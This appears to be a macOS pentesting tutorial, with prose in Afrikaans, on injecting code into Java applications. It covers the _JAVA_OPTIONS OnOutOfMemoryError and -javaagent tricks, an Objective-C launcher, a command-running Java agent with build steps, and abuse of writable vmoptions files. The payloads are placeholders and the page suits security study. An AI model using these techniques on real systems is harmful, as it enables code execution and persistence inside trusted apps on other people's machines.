macOS Java Applications Injection

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Enumeration

Vind Java-toepassings wat op jou stelsel geïnstalleer is. Dit is opgemerk dat Java-toepassings in die Info.plist sekere java parameters sal bevat wat die string java. bevat, so jy kan daarna soek:

# Search only in /Applications folder
sudo find /Applications -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null

# Full search
sudo find / -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null

_JAVA_OPTIONS

Die omgewing veranderlike _JAVA_OPTIONS kan gebruik word om arbitrêre java parameters in die uitvoering van 'n java gecompileerde toepassing in te spuit:

# Write your payload in a script called /tmp/payload.sh
export _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"'
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"

Om dit as 'n nuwe proses uit te voer en nie as 'n kind van die huidige terminal nie, kan jy gebruik maak van:

#import <Foundation/Foundation.h>
// clang -fobjc-arc -framework Foundation invoker.m -o invoker

int main(int argc, const char * argv[]) {
@autoreleasepool {
// Specify the file path and content
NSString *filePath = @"/tmp/payload.sh";
NSString *content = @"#!/bin/bash\n/Applications/iTerm.app/Contents/MacOS/iTerm2";

NSError *error = nil;

// Write content to the file
BOOL success = [content writeToFile:filePath
atomically:YES
encoding:NSUTF8StringEncoding
error:&error];

if (!success) {
NSLog(@"Error writing file at %@\n%@", filePath, [error localizedDescription]);
return 1;
}

NSLog(@"File written successfully to %@", filePath);

// Create a new task
NSTask *task = [[NSTask alloc] init];

/// Set the task's launch path to use the 'open' command
[task setLaunchPath:@"/usr/bin/open"];

// Arguments for the 'open' command, specifying the path to Android Studio
[task setArguments:@[@"/Applications/Android Studio.app"]];

// Define custom environment variables
NSDictionary *customEnvironment = @{
@"_JAVA_OPTIONS": @"-Xms2m -Xmx5m -XX:OnOutOfMemoryError=/tmp/payload.sh"
};

// Get the current environment and merge it with custom variables
NSMutableDictionary *environment = [NSMutableDictionary dictionaryWithDictionary:[[NSProcessInfo processInfo] environment]];
[environment addEntriesFromDictionary:customEnvironment];

// Set the task's environment
[task setEnvironment:environment];

// Launch the task
[task launch];
}
return 0;
}

However, that will trigger an error on the executed app, another more stealth way is to create a java agent and use:

export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"

# Or

open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"

Die skep van die agent met 'n ander Java weergawe as die toepassing kan die uitvoering van beide die agent en die toepassing laat crash

Waar die agent kan wees:

Agent.java

import java.io.*;
import java.lang.instrument.*;

public class Agent {
public static void premain(String args, Instrumentation inst) {
try {
String[] commands = new String[] { "/usr/bin/open", "-a", "Calculator" };
Runtime.getRuntime().exec(commands);
}
catch (Exception err) {
err.printStackTrace();
}
}
}

Om die agent te kompileer, voer uit:

javac Agent.java # Create Agent.class
jar cvfm Agent.jar manifest.txt Agent.class # Create Agent.jar

Met manifest.txt:

Premain-Class: Agent
Agent-Class: Agent
Can-Redefine-Classes: true
Can-Retransform-Classes: true

En dan voer die omgewing veranderlike uit en hardloop die java-toepassing soos:

export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar'
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"

# Or

open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"

vmoptions-lêer

Hierdie lêer ondersteun die spesifikasie van Java params wanneer Java uitgevoer word. Jy kan sommige van die vorige truuks gebruik om die java params te verander en die proses in staat te stel om arbitrêre opdragte uit te voer. Boonop kan hierdie lêer ook ander insluit met die include gids, so jy kan ook 'n ingeslote lêer verander.

Nog meer, sommige Java-apps sal meer as een vmoptions lêer laai.

Sommige toepassings soos Android Studio dui in hul uitset aan waar hulle soek vir hierdie lêers, soos:

/Applications/Android\ Studio.app/Contents/MacOS/studio 2>&1 | grep vmoptions

2023-12-13 19:53:23.920 studio[74913:581359] fullFileName is: /Applications/Android Studio.app/Contents/bin/studio.vmoptions
2023-12-13 19:53:23.920 studio[74913:581359] fullFileName exists: /Applications/Android Studio.app/Contents/bin/studio.vmoptions
2023-12-13 19:53:23.920 studio[74913:581359] parseVMOptions: /Applications/Android Studio.app/Contents/bin/studio.vmoptions
2023-12-13 19:53:23.921 studio[74913:581359] parseVMOptions: /Applications/Android Studio.app.vmoptions
2023-12-13 19:53:23.922 studio[74913:581359] parseVMOptions: /Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
2023-12-13 19:53:23.923 studio[74913:581359] parseVMOptions: platform=20 user=1 file=/Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions

As hulle nie, kan jy dit maklik nagaan met:

# Monitor
sudo eslogger lookup | grep vmoption # Give FDA to the Terminal

# Launch the Java app
/Applications/Android\ Studio.app/Contents/MacOS/studio

Let op hoe interessant dit is dat Android Studio in hierdie voorbeeld probeer om die lêer /Applications/Android Studio.app.vmoptions te laai, 'n plek waar enige gebruiker van die admin groep skryfrek toegang het.